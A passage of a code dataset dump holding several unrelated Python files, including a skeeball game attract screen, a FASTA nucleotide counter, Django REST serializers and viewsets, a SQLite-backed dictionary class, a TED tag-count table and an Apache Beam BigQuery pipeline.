queue.append((self.draw_factory('LOGO'),10))\n return queue\n\n\n def draw_factory(self,mode):\n if mode == 'LOGO':\n def draw_func(panel):\n panel.paste(res.IMAGES['MainLogo'],(0,5))\n else:\n def draw_func(panel):\n self.draw_high_scores(panel,mode)\n return draw_func\n\n\n def handle_event(self,event):\n if event.button == res.B.START and event.down:\n self.activate_new_mode(self.red_game)\n elif event.button == res.B.SELECT and event.down:\n self.activate_new_mode(self.yellow_game)\n\n elif event.button == res.B.CONFIG and event.down:\n self.activate_new_mode('SETTINGS')\n\n def activate_new_mode(self,mode):\n if mode in self.game_modes:\n self.manager.next_state = 'INTRO'\n self.persist['active_game_mode'] = mode\n else:\n self.manager.next_state = mode\n self.done = True\n\n\n def update(self):\n self.ticks += 1\n self.current_display_ticks +=1\n if self.ticks % (90*res.FPS) == res.FPS*30:\n #play jingle once every 90 seconds if idle, starting 30 seconds in\n self.attract_song = res.ATTRACT_MUSIC[random.choice(res.ATTRACT_MUSIC_KEYS)]\n self.attract_song.play()\n if self.current_display_ticks >= (self.current_display_time*res.FPS):\n self.current_display_ticks = 0\n self.current_display = (self.current_display + 1) % len(self.display_queue)\n self.current_display_func, self.current_display_time = self.display_queue[self.current_display]\n print('Switching to next display {}/{}'.format(self.current_display,len(self.display_queue)))\n\n\n def draw_panel(self,panel):\n panel.clear()\n\n self.current_display_func(panel)\n\n if self.ticks % (2*res.FPS) < (1.5*res.FPS):\n panel.draw.text((15,54), \"PRESS START\",font=res.FONTS['Medium'],fill=res.COLORS['WHITE'])\n\n def draw_high_scores(self,panel,game):\n if 'SPEED' in game:\n title_text = '{} TOP TIMES'.format(game)\n else:\n title_text = '{} HI SCORES'.format(game)\n x = int(48-len(title_text)*2.5)+1\n panel.draw.text((x,2),title_text,font=res.FONTS['Small'],fill=res.COLORS['WHITE'])\n\n for i,(name,score) in enumerate(self.high_scores[game]):\n if 'SPEED' in game:\n seconds = (score // res.FPS) % 60\n fraction = 5 * (score % res.FPS)\n panel.draw.text((5+8*i,(i+1)*9),'{} {:2d}.{:02d}'.format(name,seconds,fraction),font=res.FONTS['Medium'],fill=HISCORE_COLORS[i])\n else:\n if self.high_scores[game][0][1] > 9999:\n panel.draw.text((5+8*i,(i+1)*9),'{} {:5d}'.format(name,score),font=res.FONTS['Medium'],fill=HISCORE_COLORS[i])\n else:\n panel.draw.text((8+8*i,(i+1)*9),'{} {:4d}'.format(name,score),font=res.FONTS['Medium'],fill=HISCORE_COLORS[i])\n\n # self.panel.draw.text((24,10),'{} {}'.format(name,score),font=FONTS['Medium'],fill=HISCORE_COLORS[0])\n # for i in [1,2,3,4]:\n # (name,score) = game.high_scores[i]\n # self.panel.draw.text((28,i*8+12),'{} {}'.format(name,score),font=FONTS['Small'],fill=HISCORE_COLORS[i])\n \n def cleanup(self):\n self.attract_song.stop()","sub_path":"magskeeball/attract.py","file_name":"attract.py","file_ext":"py","file_size_in_byte":4958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"62742282","text":"\"\"\"\naa_counter.py: A simple Python program which counts the number of each\nessential amino acid that appears in a protein sequence FASTA file. Other\namino acids (or incorrect codes) are also counted in a general bin.\n\nInput: a FASTA file containing a protein sequence. If the file\ncontains multiple sequences, only the first is analyzed.\n\nOutput: A brief table summarizing the number of each essential amino acid\nthat was found in the sequence.\n\"\"\"\n\n# Created by Ryan Giuliany for CPSC 301, summer 2009.\n# Modified by Ian Mitchell, January 2010.\n# Further modified by Jay Zhang, January 2011.\n# Further modified by Ian Mitchell, January 2014 to convert into functions.\n\ndef readFasta(filename):\n \"\"\"(string) -> string\n \n Opens filename in the current directory. If it starts with a FASTA header,\n return the first sequence found in that file as a string (with whitespace removed).\n \"\"\"\n \n with open(filename) as seq_file:\n first_line = seq_file.readline()\n first_line = first_line.strip()\n if first_line[0] == \">\":\n print(\"Reading sequence: \" + first_line[1:])\n else:\n print(\"First line does not begin with '>' so the file is not in FASTA format.\")\n exit(\"Format Error\")\n output = \"\"\n for seq_line in seq_file:\n seq_line = seq_line.strip()\n if(len(seq_line) == 0):\n continue\n if seq_line[0] == \">\":\n print(\"Warning: Multiple sequences encountered; only the first is returned.\")\n break;\n output = output + seq_line\n return output\n\n\ndef count_dna(sequence):\n \"\"\"(string) -> boolean\n \n Counts the number of each essential amino acid which appears in a sequence string.\n Prints the results and returns True.\n \"\"\"\n \n # Set up all our counters. Note: other_count counts miscellaneous amino acids\n # that are not counted by our program.\n A_count = 0\n T_count = 0\n C_count = 0\n G_count = 0\n other_count = 0\n \n # We could hardcode the single character code for each AA in the if statements\n # below, but hardcoded constants are considered poor programming style.\n # Instead, we will create variables with meaningful names which store the\n # constants; in that way it is easier to understand what the if statements\n # below are doing. Note that we do not need a variable for \"other\"; that\n # counter will appear in the else block of our if statements below.\n adenine_short = \"A\"\n thymine_short = \"T\"\n cytosine_short = \"C\"\n guanine_short = \"G\"\n \n # Look through each character in the sequence and count the ones corresponding\n # to essential amino acids.\n for nucleic_acid in sequence:\n if nucleic_acid == adenine_short:\n A_count = A_count + 1\n elif nucleic_acid == thymine_short:\n T_count = T_count + 1\n elif nucleic_acid == cytosine_short:\n C_count = C_count + 1\n elif nucleic_acid == guanine_short:\n G_count = G_count + 1\n else:\n other_count = other_count + 1\n \n # All done counting! We've finished counting the first sequence in the \n # FASTA file. Our analysis is complete and we can just print the results.\n print(\"dna nucleotides counts\")\n print(\"Adenine: \" + str(A_count))\n print(\"Thymine: \" + str(T_count))\n print(\"Cytosine: \" + str(C_count))\n print(\"Guanine: \" + str(G_count))\n print(\"Other: \" + str(other_count))\n\n # It would be nice to return the counts, but we don't yet have a way of\n # returning that much data. We'll return True to let the caller know\n # That everything is okay.\n return True\n\n\nif __name__ == '__main__':\n \n # Ask the user for a FASTA file containing a protein sequence.\n filename = input(\"Enter the FASTA file you wish to count: \")\n \n # Use the functions above to read and count the essential amino acids.\n sequence = readFasta(filename)\n count_dna(sequence)","sub_path":"lab 8/dna_counter.py","file_name":"dna_counter.py","file_ext":"py","file_size_in_byte":3784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"288667909","text":"import accounts\n\nfrom django.conf import settings\nfrom rest_framework import serializers\n\nfrom core.serializers import (\n ModelSerializer,\n)\nfrom utils.constants import Const\nfrom utils.debug import Debug # noqa\nfrom utils.text import Text\n\nfrom . import (\n models,\n)\n\n\nclass FileSerializer(ModelSerializer):\n user = accounts.serializers.UsernameSerializer(required=False)\n\n class Meta:\n model = models.Attachment\n fields = [\n 'id',\n 'file',\n 'content_type',\n 'size',\n 'user',\n ]\n\n\nclass FileUploadSerializer(FileSerializer):\n class Meta:\n model = models.Attachment\n fields = [\n 'id',\n 'file',\n 'content_type',\n 'size',\n 'user',\n ]\n read_only_fields = [\n 'content_type',\n 'size',\n 'user',\n ]\n extra_kwargs = {\n 'file': {'required': True, 'allow_null': False},\n }\n\n def validate(self, attrs):\n if attrs.get('file').size > settings.UPLOAD_MAX_SIZE:\n raise serializers.ValidationError(\n {'file': [Text.FILE_TOO_LARGE]}\n )\n\n return attrs\n\n def create(self, validated_data):\n file = validated_data.get('file')\n\n instance = self.Meta.model.objects.create(\n user=self.context.get('request').user,\n file=file,\n content_type=file.content_type,\n size=file.size\n )\n return instance\n\n\nclass HolidaySerializer(ModelSerializer):\n class Meta:\n model = models.Holiday\n fields = [\n 'id',\n 'date',\n 'name',\n ]\n extra_kwargs = {\n 'name': Const.REQUIRED,\n }\n","sub_path":"things/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"180629069","text":"# -*- coding:utf8 -*-\n\nimport json\nimport sqlite3\n\n\n# noinspection SqlNoDataSourceInspection,SqlResolve\nclass SqlDict(object):\n u\"\"\"\n 把字典持久化在 sqlite 数据库中,加载时以键值对为最小粒度。避免整体加载,当字典很大时节省内存消耗\n\n 和 built in dict 有以下不同:\n 1. 字典 key 只能是 bytes 或者 string\n 2. 若用 utf-8 解码后,和某字符串相同,则把二者看作是相同的 key\n 3. 可自定义 value 的序列化方案,默认当作 json 序列化\n \"\"\"\n def __init__(self, file_path):\n # TODO: 考虑非只读的情况\n db = sqlite3.connect(file_path, check_same_thread=False)\n cur = db.cursor()\n cur.execute(u'''\n CREATE TABLE IF NOT EXISTS dct ( \n k TEXT PRIMARY KEY,\n v TEXT\n );\n ''')\n self.db = db\n\n @staticmethod\n def validate_key(v):\n if isinstance(v, basestring):\n if isinstance(v, str):\n return v.decode('utf-8')\n elif isinstance(v, unicode):\n return v\n else:\n raise TypeError('SqlDict does not accept {} type as key'.format(type(v)))\n\n def __del__(self):\n db = getattr(self, 'db', None)\n if db:\n self.db.close()\n\n def serialize_value(self, o):\n return json.dumps(o)\n\n def deserialize_value(self, text):\n return json.loads(text)\n\n def keys(self):\n return list(self.iterkeys())\n\n def iterkeys(self):\n cur = self.db.cursor()\n cur.execute(u'''\n SELECT k FROM dct;\n ''')\n for e in cur:\n yield e[0]\n\n def values(self):\n return list(self.itervalues())\n\n def itervalues(self):\n cur = self.db.cursor()\n cur.execute(u'''\n SELECT v FROM dct;\n ''')\n for e in cur:\n yield self.deserialize_value(e[0])\n\n def items(self):\n return list(self.iteritems())\n\n def iteritems(self):\n cur = self.db.cursor()\n cur.execute(u'''\n SELECT k, v FROM dct;\n ''')\n for k, v in cur:\n yield k, self.deserialize_value(v)\n\n def __getitem__(self, item):\n item = self.validate_key(item)\n cur = self.db.cursor()\n cur.execute(u'''\n SELECT v FROM dct WHERE k = ?;\n ''', (item, ))\n for e in cur:\n return self.deserialize_value(e[0])\n else:\n raise KeyError(item)\n\n def __setitem__(self, key, value):\n key = self.validate_key(key)\n v_txt = self.serialize_value(value)\n cur = self.db.cursor()\n cur.execute(u'''\n INSERT OR REPLACE INTO dct(k, v) VALUES (?, ?); \n ''', (key, v_txt))\n self.db.commit()\n\n def __contains__(self, item):\n item = self.validate_key(item)\n cur = self.db.cursor()\n cur.execute(u'''\n SELECT k FROM dct WHERE k = ?;\n ''', (item, ))\n for e in cur:\n return True\n else:\n return False\n\n def get(self, item):\n item = self.validate_key(item)\n cur = self.db.cursor()\n cur.execute(u'''\n SELECT v FROM dct WHERE k = ?;\n ''', (item, ))\n for e in cur:\n return self.deserialize_value(e[0])\n else:\n return None\n\n def setdefault(self, key, value):\n key = self.validate_key(key)\n v_txt = self.serialize_value(value)\n cur = self.db.cursor()\n cur.execute(u'''\n INSERT OR IGNORE INTO dct(k, v) VALUES (?, ?); \n ''', (key, v_txt))\n\n def __len__(self):\n cur = self.db.cursor()\n cur.execute(u'''\n SELECT COUNT(1) FROM dct;\n ''')\n for e in cur:\n return e[0]\n\n def update(self, m=None, **kwargs):\n cur = self.db.cursor()\n\n if hasattr(m, 'iteritems'):\n cur.executemany(u'''\n INSERT OR REPLACE INTO dct(k, v) VALUES (?, ?);\n ''', ((self.validate_key(k), self.serialize_value(v)) for k, v in m.iteritems()))\n\n cur.executemany(u'''\n INSERT OR REPLACE INTO dct(k, v) VALUES (?, ?);\n ''', ((self.validate_key(k), self.serialize_value(v)) for k, v in kwargs.iteritems()))\n\n self.db.commit()\n","sub_path":"cie_eval/sqldict.py","file_name":"sqldict.py","file_ext":"py","file_size_in_byte":4323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"386130710","text":"tag_counts = {\n\t\"technology\":\t714,\n\t\"science\":\t557,\n\t\"global issues\":\t500,\n\t\"culture\":\t486,\n\t\"TEDx\":\t436,\n\t\"design\":\t413,\n\t\"business\":\t344,\n\t\"entertainment\":\t299,\n\t\"health\":\t232,\n\t\"innovation\":\t221,\n\t\"art\":\t209,\n\t\"society\":\t208,\n\t\"social change\":\t207,\n\t\"communication\":\t188,\n\t\"future\":\t187,\n\t\"biology\":\t184,\n\t\"creativity\":\t181,\n\t\"humanity\":\t175,\n\t\"collaboration\":\t171,\n\t\"environment\":\t161,\n\t\"economics\":\t160,\n\t\"medicine\":\t160,\n\t\"brain\":\t156,\n\t\"education\":\t152,\n\t\"activism\":\t151,\n\t\"children\":\t142,\n\t\"history\":\t142,\n\t\"community\":\t140,\n\t\"music\":\t139,\n\t\"TED Fellows\":\t139,\n\t\"invention\":\t138,\n\t\"health care\":\t131,\n\t\"politics\":\t123,\n\t\"psychology\":\t121,\n\t\"cities\":\t119,\n\t\"storytelling\":\t118,\n\t\"women\":\t117,\n\t\"performance\":\t114,\n\t\"nature\":\t112,\n\t\"engineering\":\t111,\n\t\"war\":\t111,\n\t\"life\":\t111,\n\t\"identity\":\t109,\n\t\"computers\":\t108,\n\t\"animals\":\t108,\n\t\"humor\":\t105,\n\t\"Africa\":\t99,\n\t\"exploration\":\t99,\n\t\"data\":\t92,\n\t\"photography\":\t90,\n\t\"medical research\":\t90,\n\t\"government\":\t89,\n\t\"personal growth\":\t88,\n\t\"neuroscience\":\t88,\n\t\"inequality\":\t87,\n\t\"climate change\":\t85,\n\t\"visualizations\":\t83,\n\t\"Internet\":\t83,\n\t\"architecture\":\t80,\n\t\"live music\":\t79,\n\t\"sustainability\":\t78,\n\t\"disease\":\t78,\n\t\"oceans\":\t76,\n\t\"physics\":\t74,\n\t\"green\":\t73,\n\t\"potential\":\t73,\n\t\"happiness\":\t72,\n\t\"biotech\":\t71,\n\t\"mind\":\t70,\n\t\"media\":\t68,\n\t\"evolution\":\t68,\n\t\"work\":\t68,\n\t\"violence\":\t67,\n\t\"film\":\t66,\n\t\"writing\":\t66,\n\t\"big problems\":\t65,\n\t\"global development\":\t64,\n\t\"philosophy\":\t63,\n\t\"motivation\":\t62,\n\t\"biodiversity\":\t62,\n\t\"entrepreneur\":\t61,\n\t\"genetics\":\t61,\n\t\"space\":\t60,\n\t\"beauty\":\t60,\n\t\"language\":\t59,\n\t\"mental health\":\t59,\n\t\"math\":\t57,\n\t\"religion\":\t56,\n\t\"cognitive science\":\t56,\n\t\"food\":\t56,\n\t\"poverty\":\t56,\n\t\"robots\":\t55,\n\t\"peace\":\t54,\n\t\"ecology\":\t54,\n\t\"demo\":\t52,\n\t\"poetry\":\t52,\n\t\"energy\":\t52,\n\t\"illness\":\t51,\n\t\"family\":\t51,\n\t\"parenting\":\t50,\n\t\"universe\":\t50,\n\t\"policy\":\t50,\n\t\"self\":\t50,\n\t\"social media\":\t50,\n\t\"comedy\":\t49,\n\t\"TED Brain Trust\":\t49,\n\t\"product design\":\t49,\n\t\"journalism\":\t49,\n\t\"adventure\":\t48,\n\t\"astronomy\":\t47,\n\t\"infrastructure\":\t47,\n\t\"public health\":\t47,\n\t\"cancer\":\t46,\n\t\"intelligence\":\t46,\n\t\"democracy\":\t46,\n\t\"DNA\":\t45,\n\t\"law\":\t45,\n\t\"software\":\t44,\n\t\"death\":\t44,\n\t\"crime\":\t44,\n\t\"web\":\t43,\n\t\"teaching\":\t42,\n\t\"leadership\":\t42,\n\t\"choice\":\t42,\n\t\"science and art\":\t41,\n\t\"aging\":\t41,\n\t\"love\":\t39,\n\t\"materials\":\t39,\n\t\"water\":\t39,\n\t\"youth\":\t38,\n\t\"race\":\t38,\n\t\"security\":\t38,\n\t\"alternative energy\":\t37,\n\t\"pollution\":\t37,\n\t\"AI\":\t37,\n\t\"chemistry\":\t37,\n\t\"goal-setting\":\t36,\n\t\"books\":\t36,\n\t\"decision-making\":\t35,\n\t\"transportation\":\t35,\n\t\"terrorism\":\t35,\n\t\"algorithm\":\t35,\n\t\"open-source\":\t34,\n\t\"insects\":\t34,\n\t\"compassion\":\t34,\n\t\"sex\":\t34,\n\t\"agriculture\":\t34,\n\t\"Gender equality\":\t34,\n\t\"disability\":\t34,\n\t\"philanthropy\":\t33,\n\t\"Middle East\":\t32,\n\t\"molecular biology\":\t32,\n\t\"investment\":\t31,\n\t\"sports\":\t31,\n\t\"gaming\":\t31,\n\t\"money\":\t31,\n\t\"curiosity\":\t30,\n\t\"industrial design\":\t29,\n\t\"microbiology\":\t29,\n\t\"fear\":\t29,\n\t\"feminism\":\t29,\n\t\"interface design\":\t28,\n\t\"statistics\":\t28,\n\t\"relationships\":\t28,\n\t\"success\":\t28,\n\t\"biomechanics\":\t28,\n\t\"plants\":\t28,\n\t\"TED Prize\":\t27,\n\t\"gender\":\t27,\n\t\"urban planning\":\t27,\n\t\"fish\":\t27,\n\t\"Planets\":\t27,\n\t\"Asia\":\t26,\n\t\"United States\":\t26,\n\t\"women in business\":\t26,\n\t\"empathy\":\t26,\n\t\"bacteria\":\t26,\n\t\"disaster relief\":\t25,\n\t\"code\":\t25,\n\t\"depression\":\t25,\n\t\"dance\":\t24,\n\t\"consciousness\":\t24,\n\t\"faith\":\t24,\n\t\"nanoscale\":\t24,\n\t\"TEDYouth\":\t24,\n\t\"anthropology\":\t23,\n\t\"online video\":\t23,\n\t\"memory\":\t23,\n\t\"Bioethics\":\t23,\n\t\"garden\":\t23,\n\t\"Senses\":\t23,\n\t\"behavioral economics\":\t23,\n\t\"physiology\":\t23,\n\t\"consumerism\":\t22,\n\t\"biomimicry\":\t22,\n\t\"mission blue\":\t22,\n\t\"corruption\":\t21,\n\t\"NASA\":\t21,\n\t\"china\":\t21,\n\t\"literature\":\t21,\n\t\"sociology\":\t21,\n\t\"ancient world\":\t21,\n\t\"personality\":\t21,\n\t\"morality\":\t21,\n\t\"Surveillance\":\t21,\n\t\"pharmaceuticals\":\t21,\n\t\"cars\":\t20,\n\t\"marketing\":\t20,\n\t\"military\":\t20,\n\t\"illusion\":\t20,\n\t\"performance art\":\t20,\n\t\"programming\":\t20,\n\t\"productivity\":\t20,\n\t\"sight\":\t20,\n\t\"world cultures\":\t19,\n\t\"news\":\t19,\n\t\"prison\":\t19,\n\t\"movies\":\t18,\n\t\"complexity\":\t18,\n\t\"drones\":\t18,\n\t\"magic\":\t18,\n\t\"telescopes\":\t18,\n\t\"Europe\":\t18,\n\t\"TEDMED\":\t18,\n\t\"sound\":\t18,\n\t\"TEDNYC\":\t18,\n\t\"library\":\t17,\n\t\"time\":\t17,\n\t\"singer\":\t17,\n\t\"prosthetics\":\t17,\n\t\"india\":\t17,\n\t\"machine learning\":\t17,\n\t\"TED Books\":\t17,\n\t\"God\":\t16,\n\t\"theater\":\t16,\n\t\"cosmos\":\t16,\n\t\"AIDS\":\t16,\n\t\"map\":\t16,\n\t\"animation\":\t16,\n\t\"guitar\":\t16,\n\t\"solar system\":\t16,\n\t\"play\":\t16,\n\t\"finance\":\t16,\n\t\"privacy\":\t16,\n\t\"piano\":\t15,\n\t\"flight\":\t15,\n\t\"spoken word\":\t15,\n\t\"solar energy\":\t15,\n\t\"toy\":\t15,\n\t\"heart health\":\t15,\n\t\"trees\":\t15,\n\t\"botany\":\t15,\n\t\"manufacturing\":\t15,\n\t\"speech\":\t15,\n\t\"public spaces\":\t15,\n\t\"microbes\":\t15,\n\t\"simplicity\":\t14,\n\t\"interview\":\t14,\n\t\"work-life balance\":\t14,\n\t\"virtual reality\":\t14,\n\t\"presentation\":\t14,\n\t\"fashion\":\t14,\n\t\"Anthropocene\":\t14,\n\t\"sanitation\":\t14,\n\t\"Egypt\":\t14,\n\t\"LGBT\":\t14,\n\t\"failure\":\t14,\n\t\"conservation\":\t14,\n\t\"MacArthur grant\":\t13,\n\t\"extraterrestrial life\":\t13,\n\t\"dark matter\":\t13,\n\t\"prediction\":\t13,\n\t\"weather\":\t13,\n\t\"Surgery\":\t13,\n\t\"synthetic biology\":\t13,\n\t\"immigration\":\t13,\n\t\"museums\":\t12,\n\t\"South America\":\t12,\n\t\"hack\":\t12,\n\t\"Vaccines\":\t12,\n\t\"virus\":\t12,\n\t\"birds\":\t12,\n\t\"Natural resources\":\t12,\n\t\"iraq\":\t12,\n\t\"population\":\t12,\n\t\"protests\":\t12,\n\t\"Blindness\":\t12,\n\t\"refugees\":\t12,\n\t\"discovery\":\t12,\n\t\"ebola\":\t11,\n\t\"obesity\":\t11,\n\t\"composing\":\t11,\n\t\"human origins\":\t11,\n\t\"bees\":\t11,\n\t\"Mars\":\t11,\n\t\"body language\":\t11,\n\t\"trust\":\t11,\n\t\"medical imaging\":\t11,\n\t\"capitalism\":\t11,\n\t\"Google\":\t10,\n\t\"travel\":\t10,\n\t\"evolutionary psychology\":\t10,\n\t\"Brazil\":\t10,\n\t\"natural disaster\":\t10,\n\t\"paleontology\":\t10,\n\t\"String theory\":\t10,\n\t\"submarine\":\t10,\n\t\"dinosaurs\":\t10,\n\t\"plastic\":\t10,\n\t\"astrobiology\":\t10,\n\t\"advertising\":\t10,\n\t\"Slavery\":\t10,\n\t\"sexual violence\":\t10,\n\t\"Autism spectrum disorder\":\t10,\n\t\"PTSD\":\t10,\n\t\"nuclear energy\":\t10,\n\t\"TED en Español\":\t10,\n\t\"TED-Ed\":\t10,\n\t\"vocals\":\t9,\n\t\"big bang\":\t9,\n\t\"smell\":\t9,\n\t\"men\":\t9,\n\t\"friendship\":\t9,\n\t\"Islam\":\t9,\n\t\"crowdsourcing\":\t9,\n\t\"pain\":\t9,\n\t\"Human body\":\t9,\n\t\"Criminal Justice\":\t9,\n\t\"farming\":\t9,\n\t\"wikipedia\":\t8,\n\t\"telecom\":\t8,\n\t\"rocket science\":\t8,\n\t\"New York\":\t8,\n\t\"suicide\":\t8,\n\t\"archaeology\":\t8,\n\t\"charter for compassion\":\t8,\n\t\"Foreign Policy\":\t8,\n\t\"driverless cars\":\t8,\n\t\"pregnancy\":\t8,\n\t\"Syria\":\t8,\n\t\"narcotics\":\t7,\n\t\"aircraft\":\t7,\n\t\"Buddhism\":\t7,\n\t\"conducting\":\t7,\n\t\"shopping\":\t7,\n\t\"extreme sports\":\t7,\n\t\"rivers\":\t7,\n\t\"monkeys\":\t7,\n\t\"bullying\":\t7,\n\t\"deextinction\":\t7,\n\t\"mobility\":\t7,\n\t\"painting\":\t7,\n\t\"meditation\":\t7,\n\t\"Transgender\":\t7,\n\t\"Debate\":\t7,\n\t\"biosphere\":\t7,\n\t\"Christianity\":\t6,\n\t\"violin\":\t6,\n\t\"wunderkind\":\t6,\n\t\"primates\":\t6,\n\t\"typography\":\t6,\n\t\"geology\":\t6,\n\t\"Alzheimer's\":\t6,\n\t\"wind energy\":\t6,\n\t\"trafficking\":\t6,\n\t\"student\":\t6,\n\t\"HIV\":\t6,\n\t\"cyborg\":\t6,\n\t\"Gender spectrum\":\t6,\n\t\"nonviolence\":\t6,\n\t\"Guns\":\t6,\n\t\"atheism\":\t5,\n\t\"meme\":\t5,\n\t\"asteroid\":\t5,\n\t\"introvert\":\t5,\n\t\"state-building\":\t5,\n\t\"oil\":\t5,\n\t\"Iran\":\t5,\n\t\"exoskeleton\":\t5,\n\t\"hearing\":\t5,\n\t\"mindfulness\":\t5,\n\t\"television\":\t5,\n\t\"Addiction\":\t5,\n\t\"TED Residency\":\t5,\n\t\"microfinance\":\t4,\n\t\"nuclear weapons\":\t4,\n\t\"sleep\":\t4,\n\t\"glacier\":\t4,\n\t\"jazz\":\t4,\n\t\"CRISPR\":\t4,\n\t\"vulnerability\":\t4,\n\t\"resources\":\t4,\n\t\"ants\":\t3,\n\t\"apes\":\t3,\n\t\"cello\":\t3,\n\t\"microsoft\":\t3,\n\t\"mining\":\t3,\n\t\"novel\":\t3,\n\t\"Brand\":\t3,\n\t\"Nobel prize\":\t3,\n\t\"3d printing\":\t3,\n\t\"forensics\":\t3,\n\t\"pandemic\":\t3,\n\t\"street art\":\t3,\n\t\"blockchain\":\t3,\n\t\"urban\":\t3,\n\t\"epidemiology\":\t3,\n\t\"Moon\":\t2,\n\t\"origami\":\t2,\n\t\"evil\":\t2,\n\t\"augmented reality\":\t2,\n\t\"grammar\":\t2,\n\t\"skateboarding\":\t1,\n\t\"testing\":\t1,\n\t\"cloud\":\t1,\n\t\"funny\":\t1\n}","sub_path":"resources/tag_counts.py","file_name":"tag_counts.py","file_ext":"py","file_size_in_byte":7380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"481708139","text":"import logging\nimport apache_beam as beam\nfrom apache_beam.io import WriteToText\nfrom apache_beam.io.gcp.bigquery import ReadFromBigQuery, WriteToBigQuery\n\nclass FormatDate(beam.DoFn):\n def process(self, element):\n # movie year\n year = element['Year']\n title =element['Title']\n director = element['Director']\n \n # numerical form of month\n month = element['Release_Month']\n release_month = None\n if month=='JAN':\n release_month = 1\n elif month=='FEB':\n release_month = 2\n elif month=='MAR':\n release_month = 3\n elif month=='APR':\n release_month = 4\n elif month=='MAY':\n release_month = 5\n elif month=='JUN':\n release_month = 6\n elif month=='JUL':\n release_month = 7\n elif month=='AUG':\n release_month = 8\n elif month=='SEP':\n release_month = 9\n elif month=='OCT':\n release_month = 10\n elif month=='NOV':\n release_month = 11\n elif month=='DEC':\n release_month = 12\n #easier to manage chronological release order\n Numerical_Date = year * 365 + (release_month - 1) * 30 + element['Release_Date'] \n #release date in datetime form\n release_date = str(year) + '-' + str(release_month) + '-' + str(element['Release_Date'])\n \n record = {'Title': title, 'Director': director, 'Release_Month': release_month, 'Release_Date': release_date, 'Numerical_Date': Numerical_Date}\n return [record]\n\ndef run():\n PROJECT_ID = 'ilitzkyzhou'\n BUCKET = 'gs://ilitzkyzhou-123/temp'\n\n options = {\n 'project': PROJECT_ID\n }\n opts = beam.pipeline.PipelineOptions(flags=[], **options)\n\n #DirectRunner PipeLine\n p = beam.Pipeline('DirectRunner', options=opts)\n\n #sql statement for transformation (selects movies that have a valid release date)\n sql = 'SELECT * from datamart.bollywood where Release_Month is not null and Release_Date is not null limit 500'\n bq_source = ReadFromBigQuery(query=sql, use_standard_sql=True, gcs_location=BUCKET)\n\n # results from above query\n query_results = p | 'Read from BQ' >> beam.io.Read(bq_source)\n\n # results from applying FormatName().process() on every row in the table\n out_pcoll = query_results | 'Format Date' >> beam.ParDo(FormatDate())\n\n # outputs result to output.txt\n out_pcoll | 'Log output' >> WriteToText('output.txt')\n\n # get appropriate schema id for datamart.bollywood_actress_beam\n dataset_id = 'datamart'\n table_id = PROJECT_ID + ':' + dataset_id + '.' + 'bollywood_beam'\n schema_id = 'Title:STRING,Director:STRING,Release_Month:INT64,Release_Date:DATE,Numerical_Date:INT64'\n \n # writes table to bigquery\n out_pcoll | 'Write to BQ' >> WriteToBigQuery(table=table_id, schema=schema_id, custom_gcs_temp_location=BUCKET)\n \n result = p.run()\n result.wait_until_finish() \n\nif __name__ == '__main__':\n logging.getLogger().setLevel(logging.ERROR)\n run()","sub_path":"bollywood_beam.py","file_name":"bollywood_beam.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"584632195","text":"from rest_framework import status\nfrom rest_framework.exceptions import NotFound, AuthenticationFailed, NotAuthenticated\nfrom rest_framework.permissions import IsAuthenticated, IsAuthenticatedOrReadOnly, AllowAny\nfrom rest_framework.response import Response\nfrom rest_framework_json_api.views import ModelViewSet\n\nfrom .models import Paper, File, Project, Document, Oss\nfrom .serializers import PaperSerializer, FileSerializer, ProjectSerializer, DocumentSerializer, OssSerializer\nfrom scholar.apps.core.mixins import OssMixin\nfrom rest_framework.decorators import list_route\nfrom rest_framework.parsers import JSONParser\nfrom .tasks import pdf_read\n\n\nclass ProjectViewSet(ModelViewSet):\n permission_classes = (IsAuthenticatedOrReadOnly,)\n serializer_class = ProjectSerializer\n resource_name = 'projects'\n prefetch_for_includes = {\n '__all__': [],\n 'files': ['files'],\n 'documents': ['documents']\n }\n\n def get_queryset(self, *args, **kwargs):\n user = self.request.user\n if user.is_anonymous():\n raise AuthenticationFailed('You need authenticated')\n creator = user.profile\n queryset = Project.objects.filter(creator__pk=creator.pk)\n\n return queryset\n\n def create(self, request):\n context = {\n 'creator': request.user.profile,\n }\n data = request.data\n serializer = self.serializer_class(data=data, context=context)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n\nclass PaperViewSet(ModelViewSet):\n serializer_class = PaperSerializer\n queryset = Paper.objects.all()\n\n\nclass OssViewset(ModelViewSet):\n queryset = Oss.objects.all()\n serializer_class = OssSerializer\n\n @list_route(methods=['POST'], parser_classes=(JSONParser,), permission_classes=(AllowAny,))\n def callback(self, request):\n data = request.data\n etag = data.get('etag', None)\n oss = self.queryset.get(etag=etag)\n serializer = self.serializer_class(oss, data=data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n # 测试环境用外网访问,生产环境换成阿里云的内网, 测试时候暂时关闭\n # pdf_read.delay(etag)\n\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n\nclass FileViewSet(ModelViewSet, OssMixin):\n serializer_class = FileSerializer\n permission_classes = (IsAuthenticated,)\n prefetch_for_inlcudes = {\n '__all__': [],\n 'paper': ['paper']\n }\n upload_dir = 'papers/'\n use_callback = True\n callback_url = 'http://api.linkick.com/api/v1/osses/callback'\n\n def get_queryset(self, *args, **kwargs):\n queryset = File.objects.all()\n user = self.request.user\n if user.is_anonymous():\n raise AuthenticationFailed('You need login to see you files')\n # profile = user.profile\n # queryset = queryset.filter(owned__id=profile.id)\n if 'project_pk' in self.kwargs:\n project_pk = self.kwargs['project_pk']\n # TODO 这里可能会出现问题,需要调整\n queryset = queryset.filter(projects__pk=project_pk)\n return queryset\n\n def create(self, *args, **kwargs):\n user = self.request.user\n if user.is_anonymous():\n raise AuthenticationFailed('You need login to see you files')\n project_pk = kwargs.get('project_pk', None)\n if project_pk is None:\n raise NotFound('Library not found')\n data = self.request.data\n filehash = data.pop('hash', None)\n\n context 